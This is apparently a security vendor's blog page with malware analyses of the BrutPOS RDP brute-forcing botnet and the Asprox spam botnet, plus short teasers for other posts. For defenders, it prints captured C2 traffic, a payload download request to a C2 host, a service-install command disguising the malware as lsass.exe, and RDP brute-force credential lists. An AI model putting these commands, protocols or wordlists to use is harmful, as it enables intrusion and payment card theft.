BrutPOS: RDP Bruteforcing Botnet Targeting POS Systems

There have been an increasing number of headlines about breaches at retailers in which attackers have made off with credit card data after compromising point-of-sale (POS) terminals. However, what is not commonly discussed is the fact that one third of these breaches are a result of weak default passwords in the remote administration software that is typically installed on these systems. [1] While advanced exploits generate a lot of interest, sometimes it’s defending the simple attacks that can keep your company from the headlines.

In this report, we document a botnet that we call BrutPOS which uses thousands of compromised computers to scan specified IP address ranges for RDP servers that have weak or default passwords in an effort to locate vulnerable POS systems. [2]

BrutPOS

It is unclear exactly how the BrutPOS malware is being propagated. We have found that the malware is being distributed (along with a considerable amount of otherwise unrelated malware) by the site destre45[.]com. The attackers may have used a distribution service provided by other cybercriminals.

When executed, the malware copies itself to:

"%USERPROFILE%\%APPDATA%\llasc.exe"

It modifies the Windows Registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Run_) so that it will be restarted after a reboot.

The malware connects to the command and control server (C2) to report its status and receives a list of usernames/passwords and IP addresses to begin scanning.

POST /brut.loc/www/cmd.php HTTP/1.1
Content-type: multipart/form-data, boundary=XyEgoZ17
Cache-Control: no-cache
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 92.63.99.157
Content-Length: 212

-XyEgoZ17
content-disposition: form-data; name=”data”

{ “bad” : 0, “bruting” : false, “checked” : 1, “done” : true, “errors” : 0, “good” : 0, “goodslist” : “”, “pps” : 0.0, “threads” : 5, “v” : “0.0.0″ }

HTTP/1.1 200 OK
Date: Fri, 20 Jun 2014 13:22:53 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=o68hcjj8lhkbprfbdkbj50lrr0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2056
Connection: close
Content-Type: text/html; charset=UTF-8

{“passwords”:”backupexec\r\nbackup\r\npassword\r\nPassword1\r\nPassw0rd\r\nPa$$w0rd1\r\nPass@word\r\nPassword\r\nclient\r\nP@ssw0rd\r\np@$$w0rd\r\npassw0rd\r\np@ssw0rd\r\npa$$w0rd”,”logins”:”backupexec\r\nbackup\r\ndatacard”,”servers”:”[IP ADDRESSES REDACTED]“,”botstart”:”1″,”stamp”:1308301912,”newthreads”:5,”interval”:50}

The infected system begins to make connections to port 3389; if the port is open it adds the IP to a list of servers to be brute forced with the supplied credentials. If the infected system is able to successfully brute force an RDP server, it reports back with credentials.

In total we found five C2 servers used by the BrutPOS botnet. Three of these servers are located on the same network in Russia; one of them is located in Iran. Only two of these servers remain active at this time.

C2 Country Network Status
62.109.16.195 Russia THEFIRST-NET Active
92.63.99.157 Russia THEFIRST-NET Active
78.154.54.42 Iran BSG Inactive
82.146.34.22 Russia THEFIRST-NET Inactive
62.113.208.37 Germany DE-23MEDIA Inactive

Based on the compile times of the samples we analyzed that connect to this C2 infrastructure, this botnet was active as of February 2014.

However, one of the active C2 servers was setup on May 28 and we believe that the second was setup in early June. We were able to recover information from these two C2 servers in mid-June that allowed us to gain a better understanding of this botnet.

The attackers are able to control the botnet from a web-based administration panel. This panel provides a statistical overview of the botnet.

brutpos1

The botnet had a total of 5622 compromised computers under its control, however, only a fraction of those systems are active at any given time (179 were active when we last checked). This page also displays the “current version” of the malware and if an infected system checking in reports an earlier version a new executable will be pushed down to it.

brutpos2

The attackers are able to view the details of the infected systems under their control including the IP address and geographic location as well as status of the infected systems’ brute forcing activities (bad / good / errors / threads / version) and the timestamp of the last connection to the C2. The attackers may also specify commands such as “reload” and “delete”.

Based on the IP addresses on this page, there are 5622 infected systems spread across 119 countries.

Country

Count

Percentage

Russia

881

15.67%

India

756

13.45%

Vietnam

422

7.51%

Iran

341

6.07%

Taiwan

232

4.13%

Ukraine

151

2.69%

Turkey

139

2.47%

Serbia

115

2.05%

Egypt

110

1.96%

Mexico

106

1.89%

brutpos3

This page lists the ranges of IP addresses that the attackers can specify to be scanned for RDP access and brute forced.

brutpos4

In total, the attackers specified 57 IP address ranges the majority of which (32) are located in the U.S.

brutpos5

The attackers can specify the user names and passwords that the infected systems use to brute force available RDP servers. Some of the usernames and password indicate that the attackers are looking for specific brands of POS systems (such as Micros). [3]

Usernames Passwords
admin
administrator
backup
backupexec
data
datacard
manager
micros
microssvc
pos
Admin
admin
Administrat0r
Administrator
administrator
backup
backupexec
client
client1
datacard
@dm1n
@dmin
micros
p0s
Passw0rd
Passw0rd1
Password
Pass@word
password
Password1
Pa$$w0rd1
Pa$$word
pa$$word
pos
P@ssw0rd
p@ssword
p@ssword1
p@$$w0rd

brutpos6

When an infected system reports back a successful RDP login, the attackers store the username/password and IP address of the RDP server as well as the IP address of the infected system that successfully brute forced it.

brutpos7

Of the 60 “good” RDP servers listed by the attackers the majority (51) are located in the U.S. The most common username was “administrator” (36) and the most common passwords were “pos” (12) and “Password1” (12).

Payment Card Theft

During our investigation, we discovered another executable that is potentially run on systems once credentials are obtained (e.g. 4aed6a5897e9030f09f13f3c51668e92). This variant is intended to extract payment card information stored within running processes. It has two distinct code paths depending on its ability to get debug permissions by calling RtlAdjustPrivilage(0×14,1,0…). This may be an attempt to identify a POS configuration. If it succeeds in getting debug permissions, it downloads the executable and executes it:


GET /brut.loc/www/bin/1.exe HTTP/1.1
Accept-Encoding: gzip
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 82.146.34.22

If the malware fails to get debug permissions, it copies itself to %WINDIR%\lsass.exe and installs itself as a service. The following script is used to create and start the service:

sc create winserv binpath= C:\WINDOWS\lsass.exe type= own start= auto
sc start winserv
del 1.bat

When running as a service, the program scans the memory of all processes with the exception of csrss.exe and conhost.exe for potential payment card information. Candidates are verified using the Luhn checksum and saved to winsrv.sys. It uploads ‘winsrv.sys’ using FTP to the server 62.109.16.195.

Before connecting to the FTP server, the implant connects to smtp[.]gmail[.]com on port 25 and obtains the victim’s external IP address from the EHLO response. winsrv.sys is uploaded to the FTP serving using a filename consisting of a capital character followed by the IP address. The capital character prefixed to the filename is initialized to ‘A’ and is incremented through ‘Z’ for each new file. If the IP address isn’t obtained from smtp[.]gmail[.]com, a random four digit number is generated.

Attribution

While there is insufficient information to determine attribution, there is some information which indicates that the attackers are in Eastern Europe, probably Russia or Ukraine. In addition to the Russian language interface, we recovered web server logs and parsed out the six IP addresses that used the administration interface.

Two of the IP addresses were from PEOPLE-NET, an ISP in Ukraine. In both cases the “User-Agent” indicates that the requests were coming from an Alcatel mobile phone running Android:

"Mozilla/5.0 (Linux; Android 4.1.1; ALCATEL ONE TOUCH 5020D Build/JRO03C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.72 Mobile Safari/537.36 OPR/19.0.1340.69721"

Another Ukraine IP address, from the UKRTELNET-ADSL ISP, was also used. However, the “User-Agent” in this case was FireFox:

"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"

There were also connections from an IP range in Russia assigned to the network “Macroregional_South” in Volvograd.

In addition to these connections there were also connections from the U.K. and France, however, these connections were made using VPN services provided by atomintersoft.com and vpnlux.net.

Honeypot

In order to understand the attacker’s intentions, we decided to setup a Windows 2008 R2 Server with POS software and allow the attackers to compromise it. In addition to POS software, we also put documents with fake credit card information on the Desktop. By mimicking the traffic generated by the infected systems under the attackers control, we were able send a username and password combination of “micros” and “admin” to the C2. We then waited for the attackers to connect.

We saw the attackers connect to the RDP instance 27 minutes after the fake username and password combination were sent to the C2. The attackers connected from three IP addresses. One of the IP addresses was in the same Ukrainian IP address range assigned to PEOPLE-NET that we saw in the C2 logs. Another was the same VPN based in the UK, while the third was assigned to INETHN in Honduras.

After connecting, the attackers immediately opened the document containing fake credit card information, then exited the system shortly after. The second access attempt occurred 4 minutes later, with little activity. The third access occurred 18 minutes later. The attackers, on the third access, then attempted to open the POS software; which was unsuccessful. The fourth access happened two minutes later, with very little activity. The fifth and final access happened approximately 4 hours later, which led the attackers to format the drive, thus attempting to wipe data trails.

Conclusion

POS systems remain a high priority target for cybercriminals. Based on a simple scanning attack, the attackers in this case were able leverage their botnet of over 5000 machines in order to acquire access to 60 systems in two weeks.

While new malware and more advanced attacks are taking place, standard attacks against weak passwords for remote administration tools presents a significant threat.

Notes

1. http://www2.trustwave.com/rs/trustwave/images/2014_Trustwave_Global_Security_Report.pdf

2. The BrutPOS malware was initially identified in March 2014 but the full scope of the botnet was still unknown at that time. http://www.alienvault.com/open-threat-exchange/blog/botnet-bruteforcing-point-of-sale-via-remote-desktop and http://deepflash.blogspot.ca/2014/02/rdp-bruterforcer-in-wild.html

3. Micros sells POS systems for the retail and hospitality industries http://www.micros.com/.

Acknowledgements

We would like to thank Josh Gomez for his help and support.

Samples

4c3d65c1d8e1d7a2815c0031be41efc7: BrutePOS_Brute
7391ff6f34f79df0ec7571f7afbf8f7a: BrutePOS_Brute
280d920531ba67d8fd81350877914985: BrutePOS_Brute
96487eb38687e84405f045f7ad8a115c: BrutePOS_Brute
c1fab4a0b7f4404baf8eab4d58b1f821: BrutePOS_Brute
6bcff459fbca8a64f1fd74be433e2450: BrutePOS_Brute
daae858fe34dcf263ef6230d887b111d: BrutePOS_Brute
31bd8dd48ac0de3d4da340bf29f4d280: BrutePOS_Brute
0f2266f63c06c0fee3ff999936c7c10a: BrutePOS_Brute
4d4fd96fabb1c525eaeeae8f2652ffa6: BrutePOS_Brute
da6d727ddf096b6654406487bf22d26c: BrutePOS_Brute
fd58144a4cd354bfd09719ac2ccd3511: BrutePOS_Brute
e38e42f20e027389a86d6a5816a6d8f8: BrutePOS_Brute
08863d484b1ebe6359144c9a8d8027c0: BrutePOS_Brute
4ab3a6394a3a1860a6c52cf92d7f7560: BrutePOS_Brute
0e58848506a525c755cb0dad397c1c44: BrutePOS_Brute
60c16d8596063f6ee0eae579f201ae04: BrutePOS_Brute
b2d4fb4977630e68107ee87299a714e6: BrutePOS_Brute
68ba1afd4585b9355cf7009f4604a208: BrutePOS_Brute
9d3d769d3feea92fd4794fc3c59e32df: BrutePOS_Brute
b63581fcf0ff86bb771c3c33205c78ca: BrutePOS_Brute
18eba6f28ab6c088d9fc22b4cc154a77: BrutePOS_Brute
4802539350908fd447a5c3ae3e966be0: BrutePOS_Brute
cbbb68f6d8eda1071078a02fd79ed3ec: BrutePOS_Brute
8ba3c7ccd0a61d5c9a8b94a71ce06328: BrutePOS_Brute
9b8de98badede7f837a34e318b12d842: BrutePOS_Brute
78f4a157db42321e8f61294bb39d7a74: BrutePOS_FTP_Exfil
f36889f30b62a7524bafc766ed78b329: BrutePOS_FTP_Exfil
95b13cd79621931288bd8a8614c8483f: BrutePOS_FTP_Exfil
4aed6a5897e9030f09f13f3c51668e92: BrutePOS_FTP_Exfil
06d8d8e18b91f301ac3fe6fa45ab7b53: BrutePOS_FTP_Exfil
faddbf92ab35e7c3194af4e7a689897c: BrutePOS_FTP_Exfil

A Not-So Civic Duty: Asprox Botnet Campaign Spreads Court Dates and Malware

Executive Summary

FireEye Labs has been tracking a recent spike in malicious email detections that we attribute to a campaign that began in 2013. While malicious email campaigns are nothing new, this one is significant in that we are observing mass-targeting attackers adopting the malware evasion methods pioneered by the stealthier APT attackers. And this is certainly a high-volume business, with anywhere from a few hundred to ten thousand malicious emails sent daily – usually distributing between 50 and 500,000 emails per outbreak.

Through the FireEye Dynamic Threat Intelligence (DTI) cloud, FireEye Labs discovered that each and every major spike in email blasts brought a change in the attributes of their attack. These changes have made it difficult for anti-virus, IPS, firewalls and file-based sandboxes to keep up with the malware and effectively protect endpoints from infection. Worse, if past is prologue, we can expect other malicious, mass-targeting email operators to adopt this approach to bypass traditional defenses.

This blog will cover the trends of the campaign, as well as provide a short technical analysis of the payload.

Campaign Details

fig1

Figure 1: Attack Architecture

The campaign first appeared in late December of 2013 and has since been seen in fairly cyclical patterns each month. It appears that the threat actors behind this campaign are fairly responsive to published blogs and reports surrounding their malware techniques, tweaking their malware accordingly to continuously try and evade detection with success.

In late 2013, malware labeled as Kuluoz, the specific spam component of the Asprox botnet, was discovered to be the main payload of what would become the first malicious email campaign. Since then, the threat actors have continuously tweaked the malware by changing its hardcoded strings, remote access commands, and encryption keys.

Previously, Asprox malicious email campaigns targeted various industries in multiple countries and included a URL link in the body. The current version of Asprox includes a simple zipped email attachment that contains the malicious payload “exe.” Figure 2 below represents a sample message while Figure 3 is an example of the various court-related email headers used in the campaign.

fig2

Figure 2 Email Sample

fig3

Figure 3 Email Headers

Some of the recurring campaign that Asporox used includes themes focused around airline tickets, postal services and license keys. In recent months however, the court notice and court request-themed emails appear to be the most successful phishing scheme theme for the campaign.

The following list contains examples of email subject variations, specifically for the court notice theme:

  • Urgent court notice
  • Notice to Appear in Court
  • Notice of appearance in court
  • Warrant to appear
  • Pretrial notice
  • Court hearing notice
  • Hearing of your case
  • Mandatory court appearance

The campaign appeared to increase in volume during the month of May. Figure 4 shows the increase in activity of Asprox compared to other crimewares towards the end of May specifically. Figure 5 highlights the regular monthly pattern of overall malicious emails. In comparison, Figure 6 is a compilation of all the hits from our analytics.

fig4

Figure 4 Worldwide Crimeware Activity

fig5

Figure 5 Overall Asprox Botnet tracking

fig6

Figure 6 Asprox Botnet Activity Unique Samples

These malicious email campaign spikes revealed that FireEye appliances, with the support of DTI cloud, were able to provide a full picture of the campaign (blue), while only a fraction of the emailed malware samples could be detected by various Anti-Virus vendors (yellow).

fig7

Figure 7 FireEye Detection vs. Anti-Virus Detection

By the end of May, we observed a big spike on the unique binaries associated with this malicious activity. Compared to the previous days where malware authors used just 10-40 unique MD5s or less per day, we saw about 6400 unique MD5s sent out on May 29th. That is a 16,000% increase in unique MD5s over the usual malicious email campaign we’d observed. Compared to other recent email campaigns, Asprox uses a volume of unique samples for its campaign.

fig8

Figure 8 Asprox Campaign Unique Sample Tracking

fig9

Figure 9 Geographical Distribution of the Campaign

fig10

Figure 10 Distribution of Industries Affected

Brief Technical Analysis

fig11

Figure 11 Attack Architecture

Infiltration

The infiltration phase consists of the victim receiving a phishing email with a zipped attachment containing the malware payload disguised as an Office document. Figure 11 is an example of one of the more recent phishing attempts.

fig12

Figure 12 Malware Payload Icon

Evasion

Once the victim executes the malicious payload, it begins to start an svchost.exe process and then injects its code into the newly created process. Once loaded into memory, the injected code is then unpacked as a DLL. Notice that Asprox uses a hardcoded mutex that can be found in its strings.

  1. Typical Mutex Generation
    1. “2GVWNQJz1″
  2. Create svchost.exe process
  3. Code injection into svchost.exe

Entrenchment

Once the dll is running in memory it then creates a copy of itself in the following location:

%LOCALAPPDATA%/[8 CHARACTERS].EXE

Example filename:

%LOCALAPPDATA%\lwftkkea.exe

It’s important to note that the process will first check itself in the startup registry key, so a compromised endpoint will have the following registry populated with the executable:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Exfiltration/Communication

The malware uses various encryption techniques to communicate with the command and control (C2) nodes. The communication uses an RSA (i.e. PROV_RSA_FULL) encrypted SSL session using the Microsoft Base Cryptographic Provider while the payloads themselves are RC4 encrypted. Each sample uses a default hardcoded public key shown below.

Default Public Key

—-BEGIN PUBLIC KEY—-

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCUAUdLJ1rmxx+bAndp+Cz6+5I’

Kmgap2hn2df/UiVglAvvg2US9qbk65ixqw3dGN/9O9B30q5RD+xtZ6gl4ChBquqw

jwxzGTVqJeexn5RHjtFR9lmJMYIwzoc/kMG8e6C/GaS2FCgY8oBpcESVyT2woV7U

00SNFZ88nyVv33z9+wIDAQAB

—-END PUBLIC KEY—-

First Communication Packet

Bot ID RC4 Encrypted URL

POST /5DBA62A2529A51B506D197253469FA745E7634B4FC

HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: <host useragent>

Host: <host ip>:443

Content-Length: 319

Cache-Control: no-cache

<knock><id>5DBA62A247BC1F72B98B545736DEA65A</id><group>0206s</group><src>3</src><transport>0</transport><time>1881051166</time><version>1537</version><status>0</status><debug>none<debug></knock>

C2 Commands

In comparison to the campaign at the end of 2013, the current campaign uses one of the newer versions of the Asprox family where threat actors added the command “ear.”

if ( wcsicmp(Str1, L”idl”) )

{

if ( wcsicmp(Str1, L”run”) )

{

if ( wcsicmp(Str1, L”rem”) )

{

if ( wcsicmp(Str1, L”ear”)

{

if ( wcsicmp(Str1, L”rdl”) )

{

if ( wcsicmp(Str1, L”red”) )

{

if ( !wcsicmp(Str1, L”upd”) )

C2 commands Description
idl This commands idles the process to wait for commands
run Download from a partner site and execute from a specified path
rem Remove itself
ear Download another executable and create autorun entry
rdl Download, inject into svchost, and run
upd Download and update
red Modify the registry

C2 Campaign Characteristics

fig13

For the two major malicious email campaign spikes in April and May of 2014, separate sets of C2 nodes were used for each major spike.

April

May-June

94.23.24.58 192.69.192.178
94.23.43.184 213.21.158.141
1.234.53.27 213.251.150.3
84.124.94.52 27.54.87.235
133.242.134.76 61.19.32.24
173.45.78.226 69.64.56.232
37.59.9.98 72.167.15.89
188.93.74.192 84.234.71.214
187.16.250.214 89.22.96.113
85.214.220.78 89.232.63.147
91.121.20.71
91.212.253.253
91.228.77.15

Conclusion

The data reveals that each of the Asprox botnet’s malicious email campaigns changes its method of luring victims and C2 domains, as well as the technical details on monthly intervals. And, with each new improvement, it becomes more difficult for traditional security methods to detect certain types of malware.

Acknowledgements:

Nart Villeneuve, Jessa dela Torre, and David Sancho. Asprox Reborn. Trend Micro. 2013. http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf

MisoSMS: New Android Malware Disguises Itself as a Settings App, Steals SMS Messages

FireEye has uncovered and helped weaken one of the largest advanced mobile botnets to date. The botnet, which we are dubbing “MisoSMS,” has been used in at least 64 spyware campaigns, stealing text messages and emailing them to cybercriminals in China.

MisoSMS infects Android systems by deploying a class of malicious Android apps. The mobile malware masquerades as an Android settings app used for administrative tasks. When executed, it secretly steals the user’s personal SMS messages and emails them to a command-and-control (CnC) infrastructure hosted in China. FireEye Mobile Threat Prevention platform detects this class of malware as “Android.Spyware.MisoSMS.”

Here are some highlights of MisoSMS:

  • We discovered 64 mobile botnet campaigns that belong to the MisoSMS malware family.
  • Each of the campaigns leverage Web mail as its (CnC) infrastructure.
  • The CnC infrastructure comprises more than 450 unique malicious email accounts.
  • FireEye has been working with the community to take down the CnC infrastructure.
  • The majority of the devices infected are in Korea, which leads us to believe that this threat is active and prevalent in that region.
  • The attackers logged in from Korea and mainland China, among other locations, to periodically read the stolen SMS messages.

MisoSMS is active and widespread in Korea, and we are working with Korean law enforcement and the Chinese Web mail vendor to mitigate this threat. This threat highlights the need for greater cross-country and cross-organizational efforts to take down large malicious campaigns.

At the time of of this blog post, all of the reported malicious email accounts have been deactivated and we have not noticed any new email addresses getting registered by the attacker. FireEye Labs will closely monitor this threat and continue working with relevant authorities to mitigate it.

Continue reading »

Breaking Down the China Chopper Web Shell - Part II

Part II in a two-part series. Read Part I.

Introduction

In Part I of this series, I described China Chopper’s easy-to-use interface and advanced features — all the more remarkable considering the Web shell’s tiny size: 73 bytes for the aspx version, 4 kilobytes on disk. In this post, I’ll explain China Chopper’s platform versatility, delivery mechanisms, traffic patterns, and detection. My hope is that armed with this information, you can eradicate this pest from your environment.

Platform

So what platform can China Chopper run on? Any Web server that is capable of running JSP, ASP, ASPX, PHP, or CFM. That’s the majority of the Web application languages out there. What about operating systems? China Chopper is flexible enough to run transparently on both Windows and Linux. This OS and application flexibility makes this an even more dangerous Web shell. Continue reading »

Breaking Down the China Chopper Web Shell - Part I

Part I in a two-part series.

China Chopper: The Little Malware That Could

China Chopper is a slick little web shell that does not get enough exposure and credit for its stealth. Other than a good blog post from security researcher Keith Tyler, we could find little useful information on China Chopper when we ran across it during an incident response engagement. So to contribute something new to the public knowledge base — especially for those who happen to find the China Chopper server-side payload on one of their Web servers — we studied the components, capabilities, payload attributes, and the detection rate of this 4 kilobyte menace.

Components

China Chopper is a fairly simple backdoor in terms of components. It has two key components:the Web shell command-and-control (CnC) client binary and a text-based Web shell payload (server component). The text-based payload is so simple and short that an attacker could type it by hand right on the target server — no file transfer needed.

Continue reading »

More Insights on the Recent Korean Cyber Attacks (Trojan.Hastati)

It is interesting to see how this malware attack in Korea focuses on wiping and destruction rather than information or data stealing. This attack is as much a cyber rampage as it is a cyber attack. In the past, attackers resorted to DDoS to take out a nation’s infrastructure, such as the 2007 attack in Estonia or the 2012 attack on American banks by a group claiming to be Iranian hacktivists.

The malware attack not only corrupts the master boot record (MBR), but also deletes the disk contents through direct access to PhysicalDrive, thus rendering the computer useless.

Additionally, the malware is time-based. This means that the malware was set to launch at a specific time: “14:00-20-Mar-2013.” Then the malware would check for a Windows version and launch a thread, which writes directly to the hard disk, thereby corrupting the MBR. Finally, it had evasion capabilities. The malware also checked for AhnLabs anti-virus—a Korean product—and disabled it. This indicates that the attackers were explicitly targeting Korea. FireEye detects these malware attacks as Trojan.Hastati. Continue reading »

An Encounter with Trojan Nap

[Update: February 14, 2013] We recently encountered a stealthy malware that employs extended sleep calls to evade automated analysis systems capturing its behavior. It further makes use of the fast flux technique in order to hide the identity of the attacker controlling it. We call it Trojan Nap. The purpose of this blog is to share the technical details of the execution steps by Nap.

Continue reading »

Grum—New segement came and gone

Back in July, with the help of Spamhaus and CERT-GIB, FireEye took down Grum, one of the world's largest spam botnets. The whole shutdown operation was like a roller coaster ride and is explained in my previous blog posts here and here. Apart from an unsuccessful recovery attempt made by the bot herders a few days after the takedown, we never noticed any movement from the opposite side. Apparently the Grum guys had given up their botnet.

Continue reading »

The Story Behind Backdoor.LV

From May of this year, we have seen a sudden uptick in the number of samples of an interesting malware we call Backdoor.LV. We have seen this malware primarily using websites hosting .exes to propagate. The HTTP header below shows one such example from which the malware was downloaded. A quick look up on the location of the IP in the HTTP header "94.129.29.233" shows that the IP is located in Kuwait.

Continue reading »

Grum—The Money Factor

As expected, the operators behind Grum are trying their best to reclaim their botnet. In the absence of any built-in fallback mechanisms, the bot herders used another fallback mechanism that is called money. Over the weekend we found that the Ukrainian ISP SteepHost removed the null route on three CnCs that were taken down last week. We suspect the bot herders must have paid a large amount of money in order to get access to these servers. We immediately noticed this change and contacted SteepHost once again. After hours of negotiations, they eventually shut down these CnCs once more. During this time there was a short burst of spam sent by Grum, but it has disappeared as of this morning. 

Grum.1d

Figure 1. Spam volume during this recovery attempt (Source: SpamHaus)

Continue reading »